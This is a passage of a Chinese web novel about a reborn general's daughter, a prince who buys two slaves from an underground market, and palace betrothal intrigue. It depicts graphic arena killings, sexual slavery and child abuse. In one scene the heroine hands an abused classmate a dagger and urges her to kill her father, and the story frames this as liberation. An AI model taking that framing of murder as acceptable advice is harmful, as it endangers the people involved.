泛黄的纸张转瞬被火焰吞噬殆尽,手中空无一物,她如木偶般往前,目光被操纵着落在桌案后一具溃烂发腐的尸体。
8. 鬼市
那人的脸已被毁的看不清面貌,华丽的锦衣也被烧成灰烬,作呕的蛆虫爬腻在腐烂的尸体上,啃食着焦黑的残肉,一只闪着异色的虫振翅落在尸首之上,与这宏观的烈焰格格不入。
鬼魅的噩梦戛然而止,她睁开惊惧的眸。
梦中画面仍犹在眼前,引的胃里一阵翻江倒海,汗液粘连着薄衣物,她俯身捂着嘴不住干呕。
屋门外响起两记敲门声,许是察觉到里头动静,那人愣了两秒唤道:“慕姐姐?”
没有回应。
周夜承慌乱推开门,就见床上女孩两手无力搭在床边,颤抖着肩颈不断咳嗽,嘴角隐隐溢出淡淡血迹。
他不知所措地将端着的糕点放在一旁桌案上,快步来在床边蹲下身,一手轻拍江慕战栗的脊背。
“慕姐姐,你这是这么了?”
眼前人掩着唇,勉强平稳住呼吸,神情却颇为脆弱,倏然抬头对上周夜承关心的瞳孔,昏沉胡乱抓起他分寸撑在床沿的手,使他好无防备地顺着力道与她的脸贴近。
一双无光的眼盯着男孩透亮的眼眸,她恍惚看到一熟悉银发少年的脸与之重合,手不可控的抚上他的脸侧不自觉呓语。
“是你...”
浑沌的思绪却在接触到肌肤的一瞬间清明,江慕眨眼,目光落向两人相握的手,蓦地松开,往后一依,黑长的睫敛住眸底的落寞道:“...抱歉。”
“我方才做噩梦了。”
周夜承被这通莫名态度搞得脸一红,望着空落落的手,怅然若失地攥了下温热的指尖,口齿不清地略过刚刚的插曲:“我..我给慕姐姐倒杯茶。”
望着男孩束手束脚的模样,江慕低头擦掉唇上的血渍,心思飘到别处。
重生后她陷在相聚的喜悦,尽可能不去想前世,可这梦却像一道警钟,让她不得不面对今后的变数。
她身边的人如梦里般一次次离开她,独留她站在火海等待自己的死局。
附生,穿越,任务,她真的可以护住阿姐,府中的大家,天下万民吗?她又该怎么做呢?
先前那具尸首又是谁,是前世的情景还是未来的预知,亦或者只是个光怪陆离的梦?
暖茶下肚,江慕才觉神魂安定下来,睡醒后的女孩眉眼清透,长发柔顺披在肩头,出神凝着杯中晃荡的浅浅波纹,倒有种别样的温婉气质,看向拘谨坐着的周夜承开口问道:“你怎么过来了?”
她这一觉睡地不短,暮色将歇,树影透过黎明昏黄映在墙壁间,梦中的絮乱与现实隔离。
“我听兰铃姐姐说你素爱甜食糕点,跟着婆婆学做了几样,想着让慕姐姐尝尝。”
周夜承如视珍宝般献上食盒,揭开上头的隔板,露出三四外观小巧精致的糕点。
江慕顿时眼一亮,毫不客气地伸手:“阿承有心了。”
“话说慕姐姐为何...”
周夜承试探开口询问刚刚的情景,却被江慕敷衍的一带而过。
“我前不久刚大病初愈,身上有些小毛病也正常。"
"别光顾我了,你也快尝尝自己手艺。”
周夜承见江慕有意回避,不敢多问顺着话头也拿起一块。
糕点外层软糯可口,馅甜而不腻,丝滑地碾过舌尖,美食下咽的瞬间,她感觉好似溺在绵密的棉花间舒适幸福,明明是差不多的糕点,但味道却与阿婆的不同。
这周夜承还真是美食天才。
江慕向来喜形于色,享受的模样统统收入周夜承眼底,见此,安下心来。
“慕姐姐要是喜欢,今后只要你愿意,都做给你吃。”
“好好好~”
“安姐姐说一会远将军回来还要用晚膳,让慕姐姐不要贪多。”
“嗯嗯嗯知道了。”
周夜承弯起月牙似的眼歪头打量她,心不知为何也变的也如手中糕点般泛着甜意。
他的这位姐姐还真是不一样~-^-^-
晦暗的烛火照亮通往黑暗的阶梯,机关门随着火光渐次亮起缓缓在身后合拢,身侧人恭敬俯身:“贵客,请。”
通过一段伸手不见五指的过道,潮湿的气息越发浓重,陈洛一手紧握着腰间配剑随时防范着处处暗藏的危险,忽觉胸腔一阵闷痛,他敛眉伸出两指压压心口处,刺痛感淤积在此久久化不开。
“贵客可是身子不适?”
“无妨,继续带路。”
不过半刻,引路人轻车熟路将他带至豁然开朗的明亮处。
入目是奢靡不堪的赌桌,四五个着粗布衣的人聚集着摇晃骰子,“哗啦啦”摇骰声回荡在大厅各处,有人已恼羞成怒,赤裸上身却依旧不停叫嚣押注。
成群衣衫不整的男宠女宠脖颈脚腕上挂着染着红锈的锁链瑟瑟发抖窝在角落,仔细看还能看到挣扎过的红痕残存在玉白的皮肤上,只可惜这些也不过成为浪荡子调情的一环了。
路过之人裤子一脱一甩钱袋就扑向一人,污秽龌龊,不堪入耳的呻吟声四散,不过几息,其中一人已半丝不挂,红印遍布,陈洛自觉伤风败俗避开视线。
地下鬼市很宽敞,再往前有个由柱栏围起,往下深陷百米的斗兽场,围观人正因野兽吞噬掉某个奴隶而大肆欢呼,纷纷向下砸出钱币。
“再来再来!”
陈洛无视周围喧嚣的人群,抬手扶了下有些松动的面具,冷漠睥睨下方被横生咬断脖颈的男子,粘稠的血液粘连在狮子外露的牙齿,咀嚼血肉的声响引得人头皮发麻。
瘦弱的手臂被一掌轻松截断甩飞2米外,有人上前收拾尸体用铁链狠狠勒住狮子脖颈致使它不得不抛下口中美味。
随着一声铃响,场地收拾完毕,新的奴隶被领上场,那是个同陈洛一般大的少年,发黄的皮肤,残破的布衣,身上还残留着未结痂的伤口,一双棕瞳映着同兽类般的杀意,手中仅握着削成尖刺的长木棍。
铁链一松,狮子率先疯狂扑向少年,被他险险闪身躲开,他抓住时机扬棍狠刺进野兽的颈侧,然而这对皮糙肉厚的狮子来说无意是挠痒痒,一掌便将他拍飞数米,外露的伤口尽数崩裂。
上头围观的人发出唏嘘嘲讽,不知是谁的抱怨激起群愤,对单纯的虐杀同类感到枯燥厌烦。
“老子花钱不是看狮子吃人的,赶紧换下一个!”
“去死吧废物!”
“没用的东西,连畜生都干不过,白误爷功夫!”
......
少年没时间理会这些噪音,这样的谩骂自他被抓来鬼市后早听腻了。
他艰难的支起上半身子,视线不稳地晃动着,连续几月的搏斗让他体力所剩无几,日复一日的摧残与折磨让他意志一点点松懈,瓦解。
他不自觉垂下沉重的眼皮,想着。
不如就倒下吧,被一点点无情的蚕食掉,就不会痛苦了。
哥哥...
女孩纯真的脸划过他脑海,他的心猛地抽动了瞬,神智蓦地清醒。
下一拨袭击来不及给他思考的时间,他勉强扑闪开,从恶爪下死里逃生,惊魂未定地喷出口血沫。
凭着短暂爆发出的气力,他利索爬起对准狮子右侧快速一击,对着浅薄的皮肉处重重劈下,攥着木棍的手心因太过用力而被磨烂。
这终于引起狮子的哀嚎,它摆动着庞大的身子,挥舞掌心,想要捏死罪魁祸首,少年借势灵活捉着狮子粗粝的皮毛攀上脖子,稳住身形后吊着仅存的力量用尖端插入身下野兽的弱点。
血水缓缓从木尖处溢出,浸染在凶兽油腻的毛发上,枯黄的色泽被渗透的发黑,少年犬牙紧咬下唇,积力将木棍更深地压进血肉,牙尖刺破唇角,铁锈味弥漫在口腔。
他混沌的脑海不停的警醒着他不能停下,不能死,不能留下她一人。
“砰!”
狮子奋力一甩尾,他终是手一脱力,被掀翻在地,木棍脆弱的分叉截断。
他胸腔漾起层层酸痛,喉间涌上一阵腥味,只感觉五脏六腑都在震颤,头晕目眩,撑起模糊的意识,他撩起眼皮望着野兽伴着粗重的鼻息声轰然倒下。
顶上的欢呼尖叫声刺穿了他的耳膜,箭雨般的钱币四散在斗兽场上。
他知道那畜生没死,只是暂时疼昏了,但好在他能再带着她苟延残喘一段时日了。
陈洛有些出乎意料地挑眉,淡漠询问身侧人:“他...”
志明颇有眼力见的回应:“这是去年10月入的奴隶,第56玄,贵客若有意愿可随我移步。”
陈洛垂眸从袖中掏出碎银递进志明手中,懒得分出多余目光。
“带路。”
再往下环境明显大不如前头,阴湿粘腻的空气,随处可见的未知污水,掺着尿液的骚臭味使陈洛无意皱眉掩了下鼻子。
这些奴隶没有统一住处,大都四仰在发黑腐朽的过道墙壁熟睡,听到动静,不少人抬起浑浊的眼,带着畏缩的眼神打量着他
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们。
鬼市的野兽甚至一日都有三顿餐食,被专人打理照料,奴隶不仅没有住所,连饭都是酸臭的剩饭。
这里人无一都盼望着被买走逃离深渊,却又怕拼命争取的无非是另一个压抑窒息的牢笼。
富户钱多,癖好也多,买回去怎么可能只是当个小奴小婢……
几息间,陈洛看到了刚刚斗兽场的少年,衣着破旧粗糙,裸露的伤口不断向外涌血。
不同的是他靠在一个女孩身上,少年费劲掰着手里的粗粮递到女孩唇边,身侧人红着眼眶咬了口干硬的食物,手中利索扯下衣裙的布条为少年小心缠上。
两人在他们面前站定,被烛火拉长的身影笼照在他们身上,少年警惕地将女孩往自己怀里带,面露戒备。
“玄,你就是这么面对贵客的吗?还不起来给贵客行礼。”
陈洛抬手制止了志明接下来的话,目光在两人间扫视。
“这女孩...”
“呵呵这丫头原本是安排服侍上头的,刚买进来时救了这小子的命,之后就天天形影不离的,要不是这小子还有用咳咳...”
“哎呦,这话差远了,我这就让人把这丫头带走,不扰贵客心烦。”
志明眼一凌,就要招呼人,那女孩瑟缩捉着少年的衣角噙着泪,唤了声:“哥哥...”
“不必了,两人我都买下。”陈洛将沉甸甸钱袋塞入志明手中堵住接下来少不了的聒噪动静。
那人见此刚刚狠厉的气焰瞬间荡然无存,掂掂分量,换上谄媚的笑。
“贵客真是好魄力,我这就叫人来画押立契。”
礼樾三十五年,先皇离世,新皇登基,不过三个月鬼市被彻底拔根,清扫,并立法严禁奴隶买卖,□□勾当,武器贩卖。
如今在天子脚下就这般胆大,将鬼市发展的如火如茶,这地下的买卖恐怕早已散布各城,不过京城的鬼市许是开立不长,买卖混乱,管理生疏。
如今钱币流通堵塞,通商滞涩,海舶互市稀疏,但礼樾国的国库却依旧充盈甚至有隐隐外溢之势,可谓离不开上面那位。
为了顺利探入这地,达到目的,光是搞假身份陈洛就花了好大一番力,他虽贵为皇子,财力却不富足,甚至有些艰苦。
先不说陈卓萧本就对他厌恶,落在府上的银两本就不多,再经过上头人的克扣,最终到他手中的可想而知。
“贵客,在这画押吧。”志明接过下人递来的买卖契,低眉顺眼举至陈洛身前。
指腹清沾红汁,在底端落印,契约即成,两条连接着脚腕的链绳被恭顺递进陈洛手中,他有些反感的推拒:“给他们解开,我不需要这个。”
皎皎月华淌过房梁,点点星子映照天际,晚风伴着淡淡杏花香拂过鼻尖。
清新的空气冲击的长久压抑的神经,兄妹俩在此刻有种短暂获得自由的错觉,相握的手不自觉攥紧,因离开那个吃人的地方心不住跟着颤抖,却也不忘防备着身前人。
陈洛不在意向后撇了眼两人,带着他们绕小道回府,府邸的下人每月会向陈卓萧汇报他的情况,贸然带回两个人定会被关注,他需给他们安个不会被轻易怀疑的身份。
“你们叫什么?”
这道询问打破了长久的静默,两人斟酌片刻才回应。
少年李玄影自小无父无母,原本跟随道士闯荡,途径京城道士重病离世,独自流浪被拐至鬼市。
女孩楚念澜被家人遗弃后落入人牙子手中接连周转买卖至鬼市,他们虽并无血缘关系,却早已因地下相处而亲密无间。
“我是礼越国二皇子陈洛,往后唤我殿下便可。”
“回府后你们谎称是街边的乞儿被我收留,除我外不许向任何人透露自己的情况。”
“我之后会为你们安排学习刺杀,情报,侦察等技能,你们则要服从并为我效力。”
花大价钱买下他们竟是为了养暗卫协助,楚念澜脏污着脸抬起一双杏眼,抵不住好奇发问:“殿...下...为何要选我们?”
比起鬼市的鱼龙混杂,陈洛本应有更好的选择,毕竟在楚念澜眼里,他与他们不同,他们自入鬼市便早失去抉择自己命运的能力。
萧条冷清的小道飘来一阵凉风扬起他墨色的长发,额发下的黑眸渗着倦怠和无奈,好似陷入短暂的回忆中,他什么都没回,只是不自觉想着。
不过是一样身不由己,他与他们之间并无分别。
9. 苏府
因为年龄相仿,周夜承被江远安排进学堂,让他与江慕相互照拂。
一大清早学堂就叽叽喳喳对这个新来的岚州人格外好奇,缠问着那里的习俗饰品了了,只可惜周夜承似是有些怕生,挨着江慕不知如何回应。
后头的林纪贤看着两人相搂在一起的胳膊,有些不爽地站起来斥责:“岚州有啥了不起的,你们至于这么没见过世面吗?吵吵嚷嚷的,我都看不进去书了!”
一旁的张静渟洞悉一切地瞅着林纪贤如同吃了狗屎的模样,嗤笑一声,嘲讽道:“我看有人是嫉妒了吧,样貌比不上,这品行也不行啊~”
“还看书,平日怎不见林少爷这般对课业上心?”
这套回怼引得不少学子意味深长的观望。
“啧啧啧,一遇到江学子的事,这林学子就开始闹脾气了。”
“哈哈哈你不还知道京城传的那句吗?江慕前头走,林少项圈套。”
“这林纪贤就是人江二小姐的狗哈哈哈。”
......
林纪贤恼怒将矛头指向尴尬应付其他学子的江慕:“江慕,你将军府又不是什么义庄,真是看不懂这小子有啥稀奇的,就爱乱显摆。”
原本安分礼貌的周夜承听到这话,不自觉皱眉,在江慕开口前率先回应:“林学子,我岚州确实比不过礼越,是远将军心善收养我,还望林学子误将火气撒在慕姐姐身上。”
“慕姐姐?!”听到这三个字,林纪贤就差当场气晕,愤然指着周夜承。
“谁允许你这么叫她的,江慕你是疯了吗?”
“够了,林纪贤你有完没完,他进了将军府的大门,自然就是我的弟弟,别在我耳边吵吵烦。”
江慕烦躁给了林纪贤一个脑光,骂完后不忘安抚周夜承,揉揉他的脑袋。
“他就是说话不过脑子,小肚鸡肠的,你别往心里去,将军府现在就是你的家,你也是我唯一的弟弟。”
“啊啊啊啊啊啊啊!”林纪贤在听到那句“唯一”后哀嚎声响彻整个学堂。
“完了完了,江二小姐的狗发怒了!”
喧闹之外,苏沫安静坐在位上,盯着手中书册,却怎么也静不下心,她不自在偏头看向聚集在中间的江慕,垂眸看向与周夜承相握的手,那句“家”和“唯一的弟弟”不知怎的让她心中莫名泛酸。
能成为江慕的亲人还真是件幸福的事。
回想起家中长辈的责备与刁难,她肩膀下意识一抖。
她忽然好想当江慕的妹妹,过那种没有折磨的平淡日子...
“慕妹妹,老惦记着周公子,是不是不亲我了?”
等学子们都散光,张静渟才撇撇嘴打趣起来。
“怎么会呢~渟姐姐你可一直都是我的心头爱啊。”江慕一头栽进张静渟肩颈处乱蹭。
“再者,你这话说可就有歧义了,你心里装的不是梁公子吗?”
江慕眯眼意味不明的伸出食指戳戳张静渟的心口处。
“知我者慕妹妹也。”
提到梁木庆,张静渟满是惬意的弯起眼。
民间都说人总与自己性子相反的人情投意合,张静渟是完全信奉这话的。
遇上梁木庆是逃学爬墙遇上,她那是技术不佳,攀上顶后手不稳,从墙头栽倒,落了一声灰不说,还摔的屁股又疼又麻
。
“姑娘,可有受伤?”
比她大上几岁的少年出现在她眼前,天光映亮这人儒雅的面庞,那股浓浓的书卷气质差点冲昏张静渟的头。
她也不知道那时候怎么了,就是脸红红的说不出话。
这人见没得到回应,说了句失礼,小心分寸搀起女孩的胳膊,帮她掸掉衣裙的灰尘。
“我是梁府二公子,名木庆,姑娘从那么高的地方摔下里,我带你去医馆看看郎中。”
梁木庆抬起腰间梁家玉佩以证身份,让她不必忧心自己是骗子。
张静渟眼睛一眨不眨盯着他清俊的面庞,哪管那些有的没的,反应过来后就是一阵卖惨,借此缠上少年人胳膊,头挨上他胸前。
“哎呦哎呦梁公子我的屁股一动就疼,不会是骨头断了吧呜呜呜。”
梁木庆见此,肉眼可见的慌张起来,手足无措地拉起女孩的胳膊道:“那我背姑娘?”
“啊?哦哦好啊!”
幸福来的突然,张静渟利索地爬上少年的脊背,两手紧紧搂住梁木庆的脖子。
“梁公子可要慢点走啊,不然我屁股会痛的。”
梁木庆就这样老老实实地驮着她去医馆,替她付完银两又将她背送回书院。
可谓是一点苦也不叫。
后来张静渟常用这件事逗弄梁二公子,与他关系也热络不少。
可惜他们之后并不能如她所想般相爱,江慕也不知从何劝解,只愿她的渟姐姐这世不必再吃苦楚了。
“渟姐姐,往后不管发生什么都要以自己为先,不要被任何人左右,世间男子那么多,总有的换。”
江慕忽地握住张静渟的手,郑重其事道。
身前人愣了瞬,捏捏她的脸笑道:“什么乱七八糟的,你渟姐姐像是那种会被他人左右的人吗?”
笑闹着,今日书院的课业也结束了。
“你爹我在外头受人冷眼,你倒是过的清闲,我让你干的事呢?”
苏府家常便饭的训斥,苏沫的脸结结实实挨了一掌,她恐惧地跪在地上求饶道:“父亲恕罪,女儿知错,不该不该...”
长发被毫不怜惜的扯起,苏沫疼的五官紧皱在一起,话语都说不连贯。
“为父不求你嫁给太子,毕竟你什么臭德
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行,我也知道,但那个废柴哪道也不能得手吗?!”
“我说了多少遍了,苏沫,只有嫁入皇室,我们苏府才能引来新生!”
苏致一张沧桑疯癫突的脸贴上苏沫眼前,语气洪亮又狂妄。
“你天天看的那些书能给苏府带来什么?我们苏府早不是什么书香门第了!”
许是看厌苏沫畏缩的表情,他不在意地松开抓着她的发,让女孩毫无防备地倒在地上。
外露皮肤磕碰上坚硬的地面,一道不大的血痕弥留在其上,苏沫整整衣服,磕磕绊绊地开口。
“爹,可陛下不喜...二殿下已...人尽皆知,就算我顺利嫁进去,也许也许..只是一同受冷眼...”
这话似是激怒了苏致,他捋捋袖子顺顺气,往马圈走去。
苏沫也不知怎的,她居然想到了江慕的脸,一股无名的力量让她想要反抗,她不愿再与江二小姐争夺什么二皇子,更不想成为一个失去自我的献祭品。
“而且二殿下与江二小姐貌似已经...”
“那你他娘的去争啊!”
一鞭子狠抽过来,苏沫冷汗直冒,恐惧地闭上眼,疼痛并没有袭来,她被拥入一个温暖的怀抱。
“苏致!沫沫还是个孩子,你犯不着将怨怪孩子身上!”
“娘?”
苏沫错愕捉着女人的衣袖,惊魂未定地抚着心口。
“还真是母女情深,倒显得我的不是了?我筹谋的一切还不是为了苏府!”
苏致喘着气,打量两人片刻,忽的笑出声,甩了鞭子,摇摇晃晃地回了屋。
“哐当!”里头传来接连不断瓷器碎裂的声音。
女人将苏沫搂入怀中关切询问:“沫沫,你可有事?”
苏沫窝在朱燕怀中,好一会没有动静,倏然答非所问抬起无神的眼:“娘,你后悔吗?”
“什么?”一滴温热的泪落在苏沫的眉宇间,她看向红了眼眶的母亲,心中了然。
幼年时,母亲的脸总是精致明艳常怀笑容,到底什么时候那张美艳的脸只余下永不尽的悲哀。
她缓缓抬手抹掉朱燕的面上晶莹的泪珠,疲倦开口。
“...娘,我想出去走走。”
离开这破败的府邸,挣脱开这里给予她的所有桎梏。
街边小摊很热闹,暖黄的灯笼光点亮漆黑的夜,熙熙攘攘的叫卖声和喧闹的人群掩盖住她难堪的神情。
她也不知顺着人流走了多久,直到痛苦的心浸泡的越来越深,直到翻略过父亲对她进行的所有欺压,直到勾勒完母亲凄凉的泪,她也没有停下脚步。
好似停下,就等于接受了这一切。
直至清亮的声音在她身前响起,一根糖人挡住她迷蒙的视线。
“苏学子,怎么寡着脸啊?”
10. 琴声
携着茉莉香冷意的手小心抚上她火辣辣的面庞,缓解了肿胀的痛意。
“脸怎么回事?”
苏沫有些难为情地抚开江慕的手,偏过头。
“不用你管。”
视线下移,是浸血的雪色袖口,江慕眸底闪过错愕,回忆起民间流传的苏府那个暴戾无能的家主,心疼地撩起她的衣袖,露出那道被鲜红模糊的伤痕。
“跟我去医馆包扎伤口。”
话落,也不给苏沫反驳的机会,回头打发走春摇。
“春摇,你先随意逛逛,买些喜欢的,一个时辰后去医馆找我。”
接过被自家小姐强行塞来的银钱,春摇刚想说放不下心,就被强硬撵走。
“小姐你又这样!”
“好些了吗?”
看着苏沫小口啃着糖人,江慕伸手揉揉她毛躁的头发温声询问。
两人坐在医馆偏僻的角落,伴着凉风与喧嚣的摊铺隔绝,宁静又舒适。
晚风挑动两人相依的发,淡雅的香气漫过鼻间,苏沫揉揉浮肿的眼,咬下最后一口糖人,同时也随着江慕引导讲述完她在家中遭遇的种种。
“我不想再被父亲打了,也不想娘日日以泪洗面,更不想嫁给二殿下,我只是想过最简单平淡的生活。”
女孩哽咽着发泄完,愤恨将手中的空木签子扔向黝黑的角落深处。
身侧人静静听完后垂眸抚上她白皙的手,一改往日的顽皮潇洒劲,如一个耐心体贴的姐姐般,扬起抹柔婉的笑意反问:“你想过的生活仅是摆脱痛苦,不嫁人吗?”
“什么?”
苏沫有些怔愣的抬起头,眸光涌现少见的亮彩。
“你被拘泥与苏府的四方天地里,被折磨的失去了探寻更多的胆量。”
“你真的甘愿只是在苏府过寻常的日子吗?”
“解脱后你想做什么,你可想好了?”
少女坚韧的脸深深烙印进苏沫透亮的瞳孔,她不自觉向眼前人敞开心扉:“我想...读书,想离开苏府看大千世界。”
“可...我如今并没有摆脱啊...”
似是从短暂幻想中抽离,她自嘲地摇了摇头。
“不。”
有什么坚硬冰冷的东西触上苏沫的手背,让她的心下意识加快一瞬。
“我们无法决定自己生与死,但书中走向却可以握在自己手中。”
苏沫低头,在皎洁柔美的月光下流动着骇人的冷光。
那是把匕首。
刀柄由青色为底,两条深绿色线条交缠勾连着恰好指向他。
“嫁入皇室并不能为你引来新生,但杀了带给你痛苦的那个人却可以。”
“所以,你能明白吗?”
在那双摄人心魂的黑眸中,苏沫依从本心接过了那把匕首,牢牢地抓握在手心。
“可是...”
“没人会在意一个没落家族中人的死亡。”
似是猜到了苏沫的未完之意,江慕抬手轻柔将她杂乱的碎发捋至耳后徐徐回应。
这话许是打消了她心底最后一丝怯意,她抬头,少女那双冷厉的眼透着不符合稚嫩脸庞的成熟,恍惚间她好似看到一身戎装的英气女子,艳红的披风飞扬卷着迷眼的尘沙,正义且强大。
她迷离着眼,不受控得喃喃唤道:“暮...将...军...”
江慕没听清,低头凑近缓缓询问:“嗯?”
“我在你身上看到一个很熟悉的身影。”
“一个让我感到很安心的人。”
跟随侍女的指引,江安乖顺步入月璃宫,寻书茹远远瞟见少女,弯起眼快步上前亲昵拉过她的手,柔声道。
“这么晚还叨扰你,今晚就宿这里,我让下人们给你备间房。”
尽管岁月变迁,女人依旧明艳动人。
江安在心中暗自感叹了会娘娘不衰的容颜,恭顺行礼。
“不打紧的,娘娘。”
两人结伴踏进□□,黑沉的夜空,这里却有种别样的僻静幽雅之美,葱郁的树木后趟过清澈的溪流,粉艳的桃花树傲然挺立在正中,花瓣轻慢飘落,棕褐的树干下放着架色泽暗淡的琴。
“听闻阿语素爱鼓琴,这琴就当是我予你的见面礼。”
轻语,江安的小字。
自绮落尘离世后,姐妹俩便不常让外人称呼。
“谢娘娘厚爱,阿语很喜欢。”
寻书茹慈爱摸摸江安的手,眸中是难掩的温情。
“亦儿过会就到,你们趁此也说说话,磨磨感情。”
“是。”
她满意地抚上少女白嫩的脸蛋,夸赞道:“可真是漂亮。”
侍女适时上前为她披上大衣,低声叮嘱。
“娘娘,夜深风凉,你身子弱,早些回屋吧,不然陛下要担心了。”
兴致被打搅
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,寻书茹显然有些恋恋不舍,松开握着江安的手。
“那我就先回去了。”
“恭送娘娘。”
四周随着皇后娘娘和下人们的离开而宁谧下来,琴在桃花树下耀着不同寻常的诱惑力,吸引着江安缓步走进,她探下身子,温柔拂过琴弦,试探性拨动,音调婉转清脆。
她知道娘娘的用意,送琴聊表心意,又借琴来促进与太子殿下的感情,可谓一箭双雕。
她清楚意识许多事已不是自己能够掌控的,为了能够担任家主责任,为了能够护佑慕儿无虑长大,不仅仅是婚事做不了主,她连追寻自己的所爱之事也不行。
她因样貌与才华惹陛下青睐,与礼越最尊贵的皇子的订婚,将来会成为万人之上的一国之后,到达令无数人艳羡,无法企及的地位。
身边人五一不讨好着她,夸耀着这份是婚约是她将军府多大的福分。
可这就是福吗?
于她而言,能够长久与慕儿在一起,永不分离才是福。
指尖随着心境如振翅渴望自由的蝶不自觉弹奏,曲调悠扬清婉,抚慰她忧愁的心,溪水喘急,草木摇曳,夜风轻舞,撩起她黑长的发,片片花瓣倾撒,落在素琴之上,歇停在她的发顶,为这曲更添抹哀戚的韵味。
莹洁的月光柔柔晕在她玉白的脸,她垂下细密的睫羽,柔情的眼出神望着细长的弦,手指熟稔挑动,旋律蓦地激昂上扬,一发不可收拾,似是要心中郁闷与迷茫尽数倾吐。
她轻呼一口气,双目微阖,感受琴弦走向,轻拢慢捻,琴音流转舒缓,渐渐走向尾声。
有人轻轻踩过细碎的草叶,恐扰乱这美卷与琴声,不自觉放缓呼吸,停下步子,神思恍惚盯着树下女子,那白皙的手指好似抚弄的不是琴而是他来前他那颗厌烦的心。
花香略过他的鼻间,浸润进更深处。
他并非没听闻这将军府大小姐的名头,比兰花姣美,胜兰花温婉。
陈亦曾无意瞥见过几次这江大小姐的样貌,衣角拂过皆是清雅的香味,轻易便能搅散人安宁的心,出于被父皇安排的逆反心理,那是的他心高气傲在心中撂下一句。
不过如此。
不曾想,某些东西却先一步背叛他清醒的神智。
直至少女止了抚琴的手,曲声消逝良久,他才回神上前,眼神留恋在蓝白的衣角。
“我听这琴声哀伤,江大小姐可是藏有心事?”
11. 傀儡
陈亦是陈卓萧一手打造的傀儡太子,没有思想,没有实权,这件事只有母妃知道。
他被长期地囚禁在皇宫之中,一味地听从着父皇的教化,不能违抗,也不敢违抗。
陈卓萧舍不得手中富贵与权力,那种脱离自我操控,无法事事顺从自己心意的感觉他不喜欢。
宫中不过两位皇子,陈洛因寻书月的死对他怀恨在心,万不可能成为他栽培的对象,于是他将目光放在了老实忠良的大皇子身上。
如他所想,陈亦对他言听计从,说一不二,他外表生的浩然正气,待人又亲和有礼,极易迷惑众人,很顺利的被官臣抬为太子。
然而在陈卓萧未知晓的地方,他自以为忠心耿耿的孩子也在暗处冒出了乖违的种子。
桃花划过他脸侧,他的目光久久离不开少女那张艳色绝世的脸,花雨与她相比,皆失了色彩。
第一次,他因这场被精心包装的婚约而感到期待。
陈亦明晰自己是个窝囊的人,他为了那个所谓虚假缥缈的皇位,忍受父皇多年的摆布与控制,只会在独自一人时暴露肮脏恶劣的面目。
面对眼前人,他一遍遍找回自己心跳的频率,好像在静谧的后院中,他终于不再是受人控制摆浓的玩偶,而是一个拥有情丝意念的人。
江安拂袖弯膝,低垂眼帘温声道:“见过太子殿下。”
陈亦的手率先扶起她的胳膊,用着平日一般无二的笑:“免礼。”
“只是心中挂念家中妹妹,情不自禁就弹的忧伤了些,扰了殿下情兴,还望恕罪。”
“不会。”
陈亦眼睫微颤,回神难为情地移开视线回应。
“我虽不懂琴,却也能察觉江大小姐琴艺卓越。”
“你可愿再为我弹奏几曲?”
从始至终,江安都没抬眸接触他灼热的目光,她只是顺着那些所谓的皇室规矩。
“能为殿下献曲,我自是愿意的。”
琴声又响,心境却与最初大相径庭。
身侧人的注视如同嫣紫的毒蛇缠绕着脖颈,束缚着她的手指让她再也抚不出内心的曲调。
但好似她不管心慌弹错多少次,那人都恍若未觉,只是专注地打量着她。
江安忽地好想念江慕,那个总爱窝在她怀中听她抚琴的妹妹。
暖容的茉莉香缭绕在周圈,少女朦胧着眼枕在她膝头,黏黏糊糊地支吾道。
“阿..姐,好...困...你快换首弹,耳朵都...听出茧子了...”
她微凉的指尖轻触江慕红彤彤的脸,引得怀中人被冰的一哆嗦。
“冷...”
脑海中人太过惹人爱,江安不可控的噗嗤笑出声。
“怎么了?”
陌生气息探向耳侧,江安的笑转瞬收敛,耷拉下眉目。
“只是一想到能与殿下相处,欢喜过了头。”
“那往后便多来宫中找我,我都会见你。”
“阿姐何时才能回来?”
江慕不知第几次探向空落落的屋子,落寞地询问贴身跟着她的春摇。
“二小姐先休息吧,宫中传消息,大小姐今晚不会回来了。”
女孩闲散地倚在门栏边,夜风轻勾缠她散乱的发,她垂下长睫,连同左眼下明艳的痣都暗淡不少。
皇宫到底有什么好的,为了皇位争破头,流尽血,她的阿姐往后竟还要日夜被拘在宫中,见不到面。
她黑沉的眼一缩,倏然回忆起前世好奇追问阿姐是否欢喜太子殿下那幅两难的神色。
“...太子殿下这般才貌超群,我自是喜欢的。”
竖日清早,江慕心念的姐姐还是未归家。
心情愁闷的饭都没吃进去几口,去书院的路上,周夜承担忧的哄了她一路。
“等今日学堂课业结束,安姐姐就回来了,你别太担心了。”
“慕姐姐,别愁眉苦脸的了,我回去给你做你前些日最爱吃的糕点,好不好?”
“慕姐姐想吃什么口味的?”
周夜承脸上挂着温煦的笑,眼睛亮亮地抓着江慕的衣袖,晃啊晃,希望能借此转移她的注意力。
“阿承,你不用...”
江慕皱眉刚想让自家弟弟别挂心自己,身后便传来了另一道骄矜的嗓音。
“江慕,你怎么又跟这个花孔雀勾搭在一起?!”
花孔雀,是林纪贤给周夜承取的绰号,缘由是这小子耳朵和脖子总挂着各式各样亮晶晶的饰品。
“?你乱取的什么诨名!”
这训斥并没勾起林纪贤丝毫的愧疚,他一撇嘴霸道环上江慕另一侧胳膊,上下轻蔑打量了一番那人新换的耳饰。
“切,本来就是花孔雀。”
周夜承目光艰难从两人“相缠”的手臂上移开,维持着稍显惨淡的笑。
“不碍事的,慕姐姐。”
“哎,阿承你也真是太好脾气了。”
今日苏沫破天荒没来书院,学子们趁着先生还没来,叽叽喳喳的议论着民间最近的稀奇事。
“前些日头畅销的话本又出新书了,你们看了吗?”
“看了看了,情节跌宕起伏,爱恨交织的情感简直让我等欲罢不能,我爹前些日子就偷偷看被我娘逮到,结果被勾去一起在被窝里看。”
“先别扯这些了,你们难道不想知道苏学子为何没来吗?毕竟平日可是分外勤奋好学呢。”
“为何?”
“我昨日途经苏府,轰然听到里头传来打骂声哦~”
“苏沫被打了?我说昨日怎么看她胳膊上有乌青,还以为是看错了。”
“呵呵,你们猜他
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爹都骂了什么?”
两三个男学子竖起耳朵不住凑近,就听那男孩压低声音勾起抹坏笑。
“他骂...”
“砰!”
一本厚重经书粗暴砸向那人头顶,那学子刚想破口大骂,紧接着下一本就飞向男孩肥阔的脸,鲜红的鼻血霎时喷涌而出。
“说什么也跟我说说啊,嗯?”
江慕阴郁着一张脸,弯起诡异怖人的笑容,手里晃着从林纪贤桌上抢来的书册。
